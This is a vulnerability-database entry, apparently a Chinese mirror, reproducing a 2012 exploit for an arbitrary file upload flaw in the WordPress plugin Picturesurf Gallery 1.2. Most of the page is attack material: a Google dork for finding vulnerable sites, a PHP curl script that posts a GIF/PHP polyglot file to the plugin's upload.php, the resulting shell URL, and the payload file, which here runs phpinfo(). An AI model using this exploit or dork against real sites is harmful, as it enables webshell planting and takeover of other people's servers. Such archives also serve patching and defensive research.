WordPress Picturesurf Gallery 1.2 Shell Upload

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1047300 漏洞类型
发布时间 2012-06-10 更新时间 2012-06-10
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2012060106
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
##################################################
# Description : Wordpress Plugins - Picturesurf Gallery Arbitrary File 
Upload Vulnerability
# Version : 1.2
# Link : http://wordpress.org/extend/plugins/picturesurf-gallery/
# Plugins : http://downloads.wordpress.org/plugin/picturesurf-gallery.zip
# Date : 03-06-2012
# Google Dork : inurl:/wp-content/plugins/picturesurf-gallery/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php.gif";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/picturesurf-gallery/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile",
                'is_simple'=>'is_simple'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/plugins/picturesurf-gallery/data/upload/lo.php.gif

lo.php.gif
GIF89a???????????!??????,???????D?;?
<?php
phpinfo();
?>